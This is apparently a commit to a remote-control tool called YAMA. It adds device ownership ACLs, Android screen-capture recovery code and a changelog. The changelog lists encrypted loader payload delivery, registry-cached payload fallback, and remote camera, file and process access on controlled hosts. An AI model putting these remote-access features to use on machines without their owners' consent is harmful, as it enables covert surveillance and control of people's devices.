把设备绑定给一个用户名后,该设备对其他 admin/viewer 不可见不可控,只有
owner 与内置 admin 可见可控。

- 新增 device_acl.json(与 users.json 同目录,YAMA_DEVICE_ACL_FILE 可覆盖),
  原子写、启动加载;文件损坏拒绝启动,避免私人设备变成公共。
- 可见性:内置 admin 全部;未绑定设备仅 admin 角色;绑定设备仅 owner。
  覆盖 get_devices、/api/devices、屏幕墙,以及 connect/term_open/mouse/key/
  clipboard/keyframe/rdp_reset 全部控制通道;device_update 也只推给可见者。
- 只有内置 admin(用户名 admin + role admin)能 bind/unbind;admin 角色保留
  建用户、删设备、审计等既有功能。删设备清绑定。
- 审计日志也按归属过滤:非内置 admin 只能看到公共设备和自己绑定设备的记录
  (device_id / device / devices 三种写法都识别);auditquery 增 DeviceAllowed
  钩子,ACL 提供 Owner 快照,避免扫描时逐条加锁。
- 删用户会解绑其设备;但账号名下有绑定设备时只有内置 admin 能删,其他 admin
  删除会把设备释放到公共池,属于越权。解绑在删除前完成,解绑失败中止删除;
  删除失败时回滚绑定。
- 绑定/解绑后立即重新校验在线会话:失去权限的屏幕/终端会话被断开。
- 本地用户名禁止 '@'(保留给 SSO 邮箱);本地密码登录拒绝 '@' 用户名,
  SSO 拒绝名为 admin 的身份,避免绕过超级管理员判定。
- 前端:superadmin 卡片显示 owner、绑定按钮和弹窗(本地用户 datalist +
  SSO 邮箱自由输入);deviceAcl 能力位由服务端挑战下发,C++ 端无此位不显示;
  设备 ID 经 jsAttr 转义后再进 onclick,修掉存储型 XSS。

验证:go build/test/vet 全绿;新增 ACL 持久化、可见性矩阵、控制通道拒绝、
绑定/解绑会话重校验、device_update 不泄露、分组过滤、删用户解绑与越权拒绝、
审计按归属过滤等测试;本地起 Go 服务 + WebSocket 探针验证 challenge、绑定、
非 superadmin 拒绝、解绑。

Model: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-11-19 11:17:51 +01:00
108 changed files with 7935 additions and 659 deletions

No files matched your search

+2
View File
@@ -94,6 +94,8 @@ nul
server/go/web/assets/index.html
server/go/users.json
server/go/devices.json
server/go/device_notes.json
server/go/device_groups.json
server/go/build/
server/go/cmd/*.syso
server/go/.claude/settings.json
+2 -2
View File
@@ -4,8 +4,8 @@
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
- [zlib v1.3.2](https://zlib.net)
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
- [zlib v1.4](https://zlib.net)
- [zstd v1.6.0](https://github.com/facebook/zstd/tree/v1.6.0) — Windows prebuilt libs; shared header and the Linux/Android/macOS `.a` are still 1.5.x
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
+32 -2
View File
@@ -33,7 +33,7 @@
>
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
>
> **二次开发红线:** 如使用大模型协助对本项目进行二次开发,不得破解本项目,也不得替换本项目的私有库以达到绕过授权的目的。一经发现,授权服务器将对其**永久拉黑**。
> **二次开发提示:** 欢迎在遵守开源许可与当地法律的前提下进行二次开发。请保留项目自带的授权与安全校验机制,不要修改或屏蔽它们;对违反许可或法律的使用,授权服务器保留拒绝服务的权利。
---
@@ -380,6 +380,36 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志
### v1.4.4 (2026.11.28)
**Web 设备治理 & Android 能力补齐 & 运行时压缩选择 & frp v0.72.0**
**新功能:**
- **Web 控制台设备治理**:内置 admin 可把设备绑定给指定用户(`device_acl.json`),绑定后仅 owner 与内置 admin 可见可控,审计同步过滤;卡片「…」菜单新增「修改备注」(`device_notes.json`,显示为 `主机名 (备注)`)与「修改分组」(`device_groups.json`,优先于主机自报分组,离线设备也可归类),均为 admin-only、受设备 ACL 约束并写审计;卡片动作统一收进「…」弹出菜单;新增 `transfer_device`,把 Go 托管主机转移到 MFC 主控 N 天后取回
- **Android 客户端**:文件管理(`P:` 私有目录 / `I:` 内部存储 / SD 卡与 U 盘,GBK 走 JNI,Android 11+ 引导「所有文件访问」,含搜索)、摄像头(Camera2 JPEG,`JPGD` FOURCC)、root 进程管理(`CLIENT_CAP_PROCESS`,无 root 明确拒绝)、主机转移(立即切换、到期 / 提前归还原主控、目标 60 秒不可达回退)、锁屏状态与输入模式修正、休眠后在同一投影上恢复抓屏、编码器 `KEY_OPERATING_RATE` 不低于 30
- **macOS 客户端**:主机转移(与 Android 同语义,含分享拒绝与不可达回退)
- **运行时线路压缩**:zlib 1.4 与 zstd 1.6.0 双库随客户端打包,建连时读 `settings\compress`;在线列表「实验性 → 线路压缩:ZSTD / ZLIB」按 `CLIENT_CAP_COMPRESS_SWITCH` 在线切换,约两秒生效,提示标记实际算法;压缩与主机分享互斥,`1.001n+12` 小包缓冲修正
- **MCP**:新增 `build_client`(`McpBuild` 默认关,覆盖 ghost / TestRun / ServerDll / TinyRun 与三平台);设置对话框新增「只读 / 智能」一键预设,命令白名单输入框不再显示;`list_hosts` / `get_host_detail` 返回 Web 备注与分组覆盖,纯文本表新增备注列;绑定设备对 MCP 一律不可见(按 ID 返回 -32002)
- **frp v0.72.0**:内嵌 `frpc.dll` / `frps.dll` 重建并替换;下级已自建 FRP 时本地主控地址优先,上级自动 FRP 只作后备,设置对话框说明「公网地址由上级自动 FRP 提供」
- **客户端加载与发布**:客户端载荷下发增加 AES-CBC 加密(随机 IV),强化授权载荷传输的安全性;被封禁主机按「最早再试时间」退避启动;装载器在 3 次连接失败后回退到注册表缓存载荷;Linux / macOS Release 去调试符号(`linux/ghost` 10.3 MB → 2.5 MB);新增发布门禁 E2E 冒烟脚本
**改进:**
- Web 模态对话框只在 × / 取消 / 确认上关闭,选中文本拖出卡片不再误关;卡片字段统一转义,杜绝注入
- IP 历史改为最后活跃时间倒序,达到 1000 条每次写入淘汰队尾,并用 60 KB 上限保护单个值
- 状态栏按实测字体宽度布局,空间不足时按优先级隐藏窗格;全屏状态条整帧 blit,消除每秒闪烁
- 「取消分享」立即停止 Windows 分享连接;分享与转移区分,同一目标只保留一条连接
- 音频包按 65 字节 GSM610 块对齐,修正 Windows 主机尾部 25 字节垃圾;`RES_UPTIME` 每次登录重算
- 主控在 Low 完整性下启动即退出并给出 `icacls` 修复命令;Android 桌面控制改为按住左键拖动
- 新增 `docs/Client_Capability_Matrix.md`;新字符串补齐 en_US / zh_TW / de_DE
**Bug 修复:**
- 打开摄像头即崩溃(DirectShow `S_FALSE` 被当作失败、缓冲区未分配即回调)
- Windows 7 客户端 TLS 证书链引擎因结构体尺寸被拒(fail-closed 不上线)
- 压缩切换后 LP64 平台编译失败;分享取消后连接不释放
- Android 锁屏永久「Locked」、输入模式丢失、休眠后抓屏无帧、电视 SoC 编码器不出帧
- Web 备注 / 分组回包迟到后作用于错误设备;保存时连接重连中静默无响应
- 其它:E2E 脚本无限等待、构建对话框目标切换未置灰、字体放大时状态栏文本截断
### v1.4.3 (2026.11.14)
**MCP 工具面收敛 & Go 极简 MCP & Android / macOS 能力补齐 & TLS 开箱即用**
@@ -560,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **前台窗口精准捕获**:PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
- **TOKEN_AUTH 响应 ECDSA 签名**:V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`)
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
- **授权与完整性保护**:核心组件与版本保持一致,降低被篡改或误用的风险
- **子授权连接数限制**:`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
**改进:**
+32 -2
View File
@@ -33,7 +33,7 @@
>
> **Unauthorized access to computer systems is illegal.** Users are fully responsible for compliance with all applicable laws. The developers assume no liability for misuse.
>
> **Secondary development:** if you use a large language model to assist with secondary development of this project, you must not crack the software or replace this project's private libraries to bypass authorization. Violations are detected and the authorization server **permanently blacklists** the offender.
> **Secondary development:** We welcome secondary development under the project's license and applicable law. Please keep the project's built-in authorization and security checks in place rather than modifying or disabling them; the authorization server may refuse service for use that violates the license or the law.
---
@@ -380,6 +380,36 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog
### v1.4.4 (2026.11.28)
**Web device governance & Android parity & runtime wire compression & frp v0.72.0**
**New features:**
- **Web console device governance**: the built-in admin can bind a device to a user (`device_acl.json`); a bound device is visible and controllable only to its owner and the built-in admin, and the audit log is filtered the same way. The card "..." menu gains Edit remark (`device_notes.json`, shown as `hostname (remark)`) and Edit group (`device_groups.json`, overriding the group the host reports, so offline records can be regrouped), both admin-only, ACL-checked and audited; all card actions now live in a single "..." popup; `transfer_device` moves a Go-managed host to the MFC master for N days and back
- **Android client**: file management (`P:` private dir / `I:` internal storage / SD cards and USB drives, GBK through JNI, Android 11+ all-files access prompt, search included), camera streaming (Camera2 JPEG, `JPGD` FOURCC), root-only process management (`CLIENT_CAP_PROCESS`, refused outright without root), host transfer (immediate switch, restore on expiry or early return, revert after 60 s unreachable), corrected lock state and input mode, screen capture recovered after sleep on the same projection, and `KEY_OPERATING_RATE` kept at 30 or above
- **macOS client**: host transfer with the same semantics as Android, including the share refusal and the unreachable-target revert
- **Runtime wire compression**: zlib 1.4 and zstd 1.6.0 are both linked; each connection reads `settings\compress`. The online-list menu "Experimental -> Wire compression: ZSTD / ZLIB" switches hosts that declare `CLIENT_CAP_COMPRESS_SWITCH` in about two seconds without a restart, and the tooltip marks the negotiated algorithm. Compression and host sharing are mutually exclusive; the `1.001n+12` small-packet buffer has been corrected
- **MCP**: new `build_client` tool (`McpBuild`, off by default, covering ghost / TestRun / ServerDll / TinyRun and the three platforms); the settings dialog gains one-click Read-only / Smart presets and no longer shows the command whitelist; `list_hosts` / `get_host_detail` return web remarks and group overrides, with a remark column in the text table; user-bound devices are hidden from MCP entirely (an explicit id returns -32002)
- **frp v0.72.0**: the bundled `frpc.dll` / `frps.dll` are rebuilt and replaced; when a subordinate already runs its own FRP proxy its local master address wins and the upstream auto FRP stays a fallback, with the dialog explaining when the public address comes from the upstream
- **Loader and release engineering**: client payload delivery now uses AES-CBC with a random IV to strengthen the security of authorization payload delivery; a banned host backs off until its persisted retry time; the loaders fall back to the cached registry payload after three failed connects; Linux / macOS Release builds drop debug symbols (`linux/ghost` 10.3 MB to 2.5 MB); a release-gate E2E smoke script was added
**Improvements:**
- Web modal dialogs close only from their own buttons, so selecting text and releasing outside the card no longer dismisses them; client-reported card fields are escaped before reaching HTML or attribute contexts
- IP history is ordered by last activity, evicts the oldest entry on every write at the 1000-record cap, and guards the single stored value with a 60 KB limit
- Status-bar panes are sized from measured text and hidden by priority when space runs out; the full-screen overlay blits a complete frame, removing the once-per-second flicker
- Cancelling a share now stops the Windows share connection immediately; shares and transfers are tracked separately and one target keeps one connection
- Audio packets are block-aligned to 65-byte GSM610 blocks, dropping the 25 stale bytes Windows hosts ship; `RES_UPTIME` is recomputed on every login
- The master refuses to start at Low integrity and prints the `icacls` fix; desktop control of Android hosts now needs a held left button
- Added `docs/Client_Capability_Matrix.md`; new strings in en_US / zh_TW / de_DE
**Bug fixes:**
- Opening the webcam killed the client (DirectShow `S_FALSE` treated as a failure, the sample callback writing into an unallocated buffer)
- Windows 7 clients failed TLS because the chain-engine struct was compiled at the Windows 10 size
- The compression switch broke LP64 builds; cancelling a share left the Windows connection alive
- Android showed "Locked" forever, lost its input mode, stopped producing frames after sleep, and some TV SoC encoders never emitted a frame
- Late web remark / group replies could land on the wrong device, and Save while reconnecting did nothing
- Also: the E2E script could wait forever, the build dialog kept install options enabled for POSIX targets, and status-bar text was clipped at larger font sizes
### v1.4.3 (2026.11.14)
**MCP tool consolidation & Go minimal MCP & Android / macOS parity & TLS out of the box**
@@ -560,7 +590,7 @@ Valid : 2026-02-01 to 2028-02-01
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
- **Authorization and integrity protection**: core components stay consistent with the build, reducing the risk of tampering or mismatched use
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
**Improvements:**
+32 -2
View File
@@ -33,7 +33,7 @@
>
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
>
> **二次開發紅線:** 如使用大模型協助對本專案進行二次開發,不得破解本專案,也不得替換本專案的私有函式庫以達到繞過授權的目的。一經發現,授權伺服器將對其**永久列入黑名單**。
> **二次開發提示:** 歡迎在遵守開源授權與當地法律的前提下進行二次開發。請保留專案內建的授權與安全校驗機制,不要修改或停用它們;對違反授權或法律的使用,授權伺服器保留拒絕服務的權利。
---
@@ -380,6 +380,36 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌
### v1.4.4 (2026.11.28)
**Web 裝置治理 & Android 能力補齊 & 執行期壓縮選擇 & frp v0.72.0**
**新功能:**
- **Web 控制台裝置治理**:內建 admin 可把裝置綁定給指定使用者(`device_acl.json`),綁定後僅 owner 與內建 admin 可見可控,稽核同步過濾;卡片「…」選單新增「修改備註」(`device_notes.json`,顯示為 `主機名 (備註)`)與「修改群組」(`device_groups.json`,優先於主機自報群組,離線裝置也可歸類),皆為 admin-only、受裝置 ACL 約束並寫稽核;卡片動作統一收進「…」彈出選單;新增 `transfer_device`,把 Go 託管主機轉移到 MFC 主控 N 天後取回
- **Android 用戶端**:檔案管理(`P:` 私有目錄 / `I:` 內部儲存 / SD 卡與 USB,GBK 走 JNI,Android 11+ 引導「所有檔案存取」,含搜尋)、攝影機(Camera2 JPEG,`JPGD` FOURCC)、root 行程管理(`CLIENT_CAP_PROCESS`,無 root 明確拒絕)、主機轉移(立即切換、到期 / 提前歸還原主控、目標 60 秒不可達回退)、鎖屏狀態與輸入模式修正、休眠後在同一投影上恢復擷取畫面、編碼器 `KEY_OPERATING_RATE` 不低於 30
- **macOS 用戶端**:主機轉移(與 Android 同語意,含分享拒絕與不可達回退)
- **執行期線路壓縮**:zlib 1.4 與 zstd 1.6.0 雙庫隨用戶端打包,連線時讀 `settings\compress`;線上列表「實驗性 → 線路壓縮:ZSTD / ZLIB」依 `CLIENT_CAP_COMPRESS_SWITCH` 線上切換,約兩秒生效,提示標記實際演算法;壓縮與主機分享互斥,`1.001n+12` 小封包緩衝修正
- **MCP**:新增 `build_client`(`McpBuild` 預設關,涵蓋 ghost / TestRun / ServerDll / TinyRun 與三平台);設定對話框新增「唯讀 / 智慧」一鍵預設,命令白名單輸入框不再顯示;`list_hosts` / `get_host_detail` 回傳 Web 備註與群組覆寫,純文字表新增備註欄;綁定裝置對 MCP 一律不可見(依 ID 呼叫回 -32002)
- **frp v0.72.0**:內嵌 `frpc.dll` / `frps.dll` 重建並替換;下級已自建 FRP 時本地主控位址優先,上級自動 FRP 只作後備,設定對話框說明「公網位址由上級自動 FRP 提供」
- **用戶端載入與發佈**:用戶端載荷下發增加 AES-CBC 加密(隨機 IV),強化授權載荷傳輸的安全性;被封禁主機依「最早再試時間」退避啟動;載入器在 3 次連線失敗後回退到登錄快取載荷;Linux / macOS Release 去偵錯符號(`linux/ghost` 10.3 MB → 2.5 MB);新增發佈門檻 E2E 冒煙腳本
**改進:**
- Web 強制回應對話框只在 × / 取消 / 確認上關閉,選取文字拖出卡片不再誤關;卡片欄位統一轉義,杜絕注入
- IP 歷史改為最後活躍時間倒序,達到 1000 筆每次寫入淘汰最舊項,並以 60 KB 上限保護單一值
- 狀態列依實測字型寬度配置,空間不足時依優先順序隱藏窗格;全螢幕狀態列整幀 blit,消除每秒閃爍
- 「取消分享」立即停止 Windows 分享連線;分享與轉移區分,同一目標只保留一條連線
- 音訊封包依 65 位元組 GSM610 區塊對齊,修正 Windows 主機尾部 25 位元組垃圾;`RES_UPTIME` 每次登入重算
- 主控在 Low 完整性下啟動即結束並給出 `icacls` 修復命令;Android 桌面控制改為按住左鍵拖曳
- 新增 `docs/Client_Capability_Matrix.md`;新字串補齊 en_US / zh_TW / de_DE
**Bug 修復:**
- 開啟攝影機即崩潰(DirectShow `S_FALSE` 被當成失敗、緩衝未配置即回呼)
- Windows 7 用戶端 TLS 憑證鏈引擎因結構尺寸被拒(fail-closed 不上線)
- 壓縮切換後 LP64 平台編譯失敗;取消分享後連線未釋放
- Android 鎖屏永久顯示「Locked」、輸入模式遺失、休眠後擷取畫面無幀、電視 SoC 編碼器不出幀
- Web 備註 / 群組回包遲到後作用於錯誤裝置;儲存時連線重連中靜默無回應
- 其他:E2E 腳本無限等待、建置對話框切換目標未置灰、字型放大時狀態列文字被截斷
### v1.4.3 (2026.11.14)
**MCP 工具面收斂 & Go 極簡 MCP & Android / macOS 能力補齊 & TLS 開箱即用**
@@ -560,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **前台視窗精準擷取**:PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
- **TOKEN_AUTH 回應 ECDSA 簽章**:V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`)
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
- **授權與完整性保護**:核心元件與版本保持一致,降低被篡改或誤用的風險
- **子授權連線數限制**:`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
**改進:**
+32 -1
View File
@@ -22,6 +22,11 @@
#define LOGE_SH(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
extern uint64_t g_myClientID;
// 定义在 main.cpp:把消息发进主控消息栏(TOKEN_CLIENT_MSG)。
// 远程桌面编码器零输出时,主控端停在「请等待」,必须主动回一条说明。
extern void SendClientMessageToMain(const char* title, const char* text);
// 定义在 main.cpp:编码器零输出时让 Kotlin 用同一个 MediaProjection 重建采集管线。
extern void NotifyEncoderStalled();
// 定义在 main.cpp,供子连接的 OnReceive 调用
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
extern void DispatchClipboardText(const uint8_t* data, size_t size);
@@ -279,6 +284,7 @@ private:
// 干等。改成带超时的等待,把「没有帧」和「帧被当 P 帧丢弃」区分开。
const auto startTick = std::chrono::steady_clock::now();
bool noFrameWarned = false;
bool stallNotified = false;
while (m_running) {
std::unique_lock<std::mutex> lk(m_mutex);
m_cond.wait_for(lk, std::chrono::seconds(1),
@@ -289,12 +295,37 @@ private:
// 只在「一帧都没发出去过」时告警。发过首帧之后队列空是正常的:电视
// 停在 launcher 这类静止画面时 SurfaceFlinger 不产生脏区,编码器就没
// 输入,5 秒不打新帧属于预期行为,不能报成编码器故障。
const auto elapsed = std::chrono::steady_clock::now() - startTick;
if (!noFrameWarned && m_started && !m_firstSent &&
std::chrono::steady_clock::now() - startTick > std::chrono::seconds(5)) {
elapsed > std::chrono::seconds(5)) {
noFrameWarned = true;
// 发消息/重建都是慢操作,不能拿着 m_mutex:生产者(编码回调)推帧要拿它。
lk.unlock();
LOGE_SH("SendLoop: no frame from MediaCodec after 5s — encoder is not producing "
"(MediaProjection stopped, VirtualDisplay null, or unsupported %dx%d)",
m_width, m_height);
// 电视睡眠后常见:投影还在,但旧的 VirtualDisplay 收不到合成帧。先用同一个
// MediaProjection 重建采集管线(不需要重新授权);重建结果由 Kotlin 侧记录。
NotifyEncoderStalled();
} else if (noFrameWarned && !stallNotified && m_started && !m_firstSent &&
elapsed > std::chrono::seconds(13)) {
stallNotified = true;
// 自愈也没救回来:主控端停在「请等待……」,明确回一条消息说明原因。
// 多个观看者各自 13 秒都会走到这里,进程内 60 秒只发一条,避免刷屏。
lk.unlock();
static std::atomic<long long> lastNotifyMs{0};
const long long nowMs = std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now().time_since_epoch()).count();
long long prevMs = lastNotifyMs.load();
// 多个观看者各自 13 秒都会走到这里;进程内 60 秒只发一条,避免刷屏。
// prevMs == 0 表示本次开机还没发过(steady_clock 的 0 点是开机)。
if ((prevMs == 0 || nowMs - prevMs > 60 * 1000) &&
lastNotifyMs.compare_exchange_strong(prevMs, nowMs)) {
SendClientMessageToMain(
"Remote desktop",
"The device screen encoder produced no frame (hardware encoder may reject "
"this size or config). Remote desktop cannot start.");
}
}
continue;
}
+95 -20
View File
@@ -255,6 +255,8 @@ static jmethodID g_canOverlayMid = nullptr; // ControlService.canOverlay(
static jclass g_captureClass = nullptr;
static jmethodID g_requestIdrMid = nullptr;
static jmethodID g_forceFirstFrameMid = nullptr;
static jmethodID g_requestPermMid = nullptr; // CaptureService.requestScreenCapturePermission()
static jmethodID g_onStalledMid = nullptr; // CaptureService.onEncoderStalled()
static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String)
static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务
static jmethodID g_updateReceivedMid = nullptr; // CaptureService.onUpdateReceived(String) — 升级 APK 已落盘
@@ -1171,6 +1173,13 @@ static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid);
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
// ScreenHandler.h 的 SendLoop 用:编码器零输出时让 Kotlin 用同一个 MediaProjection
// 重建采集管线(电视睡眠后旧 VirtualDisplay 收不到合成帧的常见场景)。
void NotifyEncoderStalled()
{
CallCaptureStaticVoid(g_onStalledMid);
}
// 向 CaptureService.onNativeStatus() 发送状态 Toast(连接线程诊断用)
static void PostStatus(const char* msg) {
LOGI("STATUS: %s", msg);
@@ -1194,6 +1203,16 @@ static void PostStatus(const char* msg) {
#endif
}
static void sendClientMsg(const char* title, const char* text); // 定义见在线升级段
// 上一次因「没有投影会话」而拉起设备端授权界面的时间(单调毫秒)
static std::atomic<long long> g_lastPermPromptMs{0};
static long long MonotonicMs()
{
return (long long)std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now().time_since_epoch()).count();
}
static void ScreenSpyThread()
{
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
@@ -1202,10 +1221,41 @@ static void ScreenSpyThread()
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
Sleep(50); // 最多等 5 秒
if (g_screenWidth.load() == 0 && S_CLIENT_NORMAL == g_bExit) {
// 投影没在跑:Android TV 可能从未授权,Android 14 的单次授权在服务重启后也会失效。
// 尝试拉起设备上的 App 重新走一遍系统「屏幕捕获」授权,再等最多 15 秒。
// 10 分钟内只提示一次,避免连续点远程桌面把电视反复弹到前台。
const long long now = MonotonicMs();
long long last = g_lastPermPromptMs.load();
// steady_clock 的 0 点是开机时刻:last==0 表示「本次开机还没提示过」,必须放行,
// 否则开机后前 10 分钟(正是最需要重新授权的场景)永远不会拉起授权界面。
bool prompted = false;
if ((last == 0 || now - last > 10 * 60 * 1000) &&
g_lastPermPromptMs.compare_exchange_strong(last, now)) {
prompted = true;
LOGI("ScreenSpyThread: no projection; prompting device for screen-capture permission");
CallCaptureStaticVoid(g_requestPermMid);
}
// 节流命中也可能是「另一个观看者刚刚拉起过授权框」:此时授权界面可能还显示在
// 电视上,值得等一等,别让第二个观看者立刻收到"不可用"。只有 60 秒内的提示算
// "可能还在屏幕上";更早的节流命中仍然立即失败,不让操作员白等。
const bool promptRecentlyShown = (last != 0 && now - last <= 60 * 1000);
if (prompted || promptRecentlyShown) {
for (int i = 0; i < 300 && g_screenWidth.load() == 0 && g_running.load() && S_CLIENT_NORMAL == g_bExit; ++i)
Sleep(50);
}
}
int w = g_screenWidth.load();
int h = g_screenHeight.load();
if (w == 0 || h == 0) {
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
// 服务端此时停在「请等待……」,收不到任何回应会一直挂着。这里必须明确回一条
// 消息,说明是设备上的「屏幕捕获」授权/服务没在跑(常见于 Android TV:投影
// 权限未授予,或服务被系统回收后需要重新打开 App 授权)。
sendClientMsg("Remote desktop",
"Screen capture is not available on this device. Open YAMA on the device, "
"grant the screen-capture prompt, then try remote desktop again.");
return;
}
std::string ip; int port;
@@ -1894,6 +1944,13 @@ static void sendClientMsg(const char* title, const char* text)
mc->Send2Server((char*)&msg, sizeof(msg));
}
// ScreenHandler.h 的 SendLoop 用:编码器零输出时回主控消息栏。
// 单独包一层是因为 sendClientMsg 是 static,头文件里只声明这个外部符号。
void SendClientMessageToMain(const char* title, const char* text)
{
sendClientMsg(title, text);
}
static void reportUpdateFailure(const std::string& reason)
{
LOGI("UPDATE failed: %s", reason.c_str());
@@ -1993,26 +2050,7 @@ static void ApplyTlsAnchorChange()
// 重连会重新登录,登录前刷新该字段,否则列里一直显示旧值。只在主线程调用(同 SendLoginInfo)。
static void RefreshLoginTls(LOGIN_INFOR& info)
{
std::vector<std::string> fields;
std::string s(info.szReserved);
size_t pos = 0;
for (;;) {
size_t bar = s.find('|', pos);
if (bar == std::string::npos) { fields.push_back(s.substr(pos)); break; }
fields.push_back(s.substr(pos, bar - pos));
pos = bar + 1;
}
while (fields.size() <= (size_t)RES_TLS)
fields.push_back("");
fields[RES_TLS] = TlsEnabled() ? "1" : "0";
std::string joined;
for (size_t i = 0; i < fields.size(); ++i) {
if (i) joined += '|';
joined += fields[i];
}
strncpy(info.szReserved, joined.c_str(), sizeof(info.szReserved) - 1);
info.szReserved[sizeof(info.szReserved) - 1] = '\0';
info.SetReserved(RES_TLS, TlsEnabled() ? "1" : "0");
}
#endif // YAMA_TLS_CHANNEL
@@ -2558,6 +2596,17 @@ static const auto g_processStartMono = std::chrono::steady_clock::now();
// 的状态清掉(服务重启 CaptureService 时真会撞上)。
static std::atomic<uint64_t> g_connGeneration{0};
// 登录 szReserved[20](RES_UPTIME)是「登录这一刻进程已经运行了多少秒」,服务端再加本次
// 上线时长才是当前运行时长。logInfo 在重连循环外只构造一次,不刷新的话重连上报的仍是
// 进程启动那一瞬的 0,服务端算出来就只剩「本次连接时长」(Linux 上实测:进程跑了 6 天,
// 浮窗只显示 1.3h)。只在主线程调用(同 SendLoginInfo)。
static void RefreshLoginUptime(LOGIN_INFOR& info)
{
long long up = std::chrono::duration_cast<std::chrono::seconds>(
std::chrono::steady_clock::now() - g_processStartMono).count();
info.SetReserved(RES_UPTIME, std::to_string(up > 0 ? up : 0).c_str());
}
static void ConnectionThread(uint64_t gen)
{
{
@@ -2689,6 +2738,7 @@ static void ConnectionThread(uint64_t gen)
#ifdef YAMA_TLS_CHANNEL
RefreshLoginTls(logInfo); // 传输方式可能已热切换,登录前刷新 RES_TLS
#endif
RefreshLoginUptime(logInfo); // 同一条连接可能是几小时前断掉后重连的,按「现在」重算
// 屏幕预览能力位按运行时状态刷新:无障碍服务在跑才声明(API 30+ 的 takeScreenshot),
// 服务端据此放行 get_screenshot;无障碍被关掉后重连会撤回,避免服务端白等抓屏。
// 锁屏同理:无障碍服务在跑且 API 28+ 才声明。
@@ -2933,6 +2983,12 @@ Java_com_yama_client_YamaBridge_nativeInit(
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
g_requestPermMid = env->GetStaticMethodID(g_captureClass, "requestScreenCapturePermission", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestPermMid = nullptr; }
if (!g_requestPermMid) LOGE("CaptureService.requestScreenCapturePermission not found");
g_onStalledMid = env->GetStaticMethodID(g_captureClass, "onEncoderStalled", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_onStalledMid = nullptr; }
if (!g_onStalledMid) LOGE("CaptureService.onEncoderStalled not found");
g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; }
if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found");
@@ -3112,6 +3168,21 @@ Java_com_yama_client_YamaBridge_nativeInit(
return 0;
}
// Kotlin 侧日志镜像:写进 logcat + Logger 内存 ring,服务端「运行日志」能取回。
// 没有 adb 的电视/机顶盒只能靠这条通道把编码器状态带回主控。
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeLog(JNIEnv* env, jobject, jint prio, jstring tag, jstring msg)
{
if (!env || !msg) return;
const char* t = tag ? env->GetStringUTFChars(tag, nullptr) : nullptr;
const char* m = env->GetStringUTFChars(msg, nullptr);
if (m) {
android_log_tag((int)prio, t ? t : "YAMA", "%s", m);
env->ReleaseStringUTFChars(msg, m);
}
if (t) env->ReleaseStringUTFChars(tag, t);
}
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
{
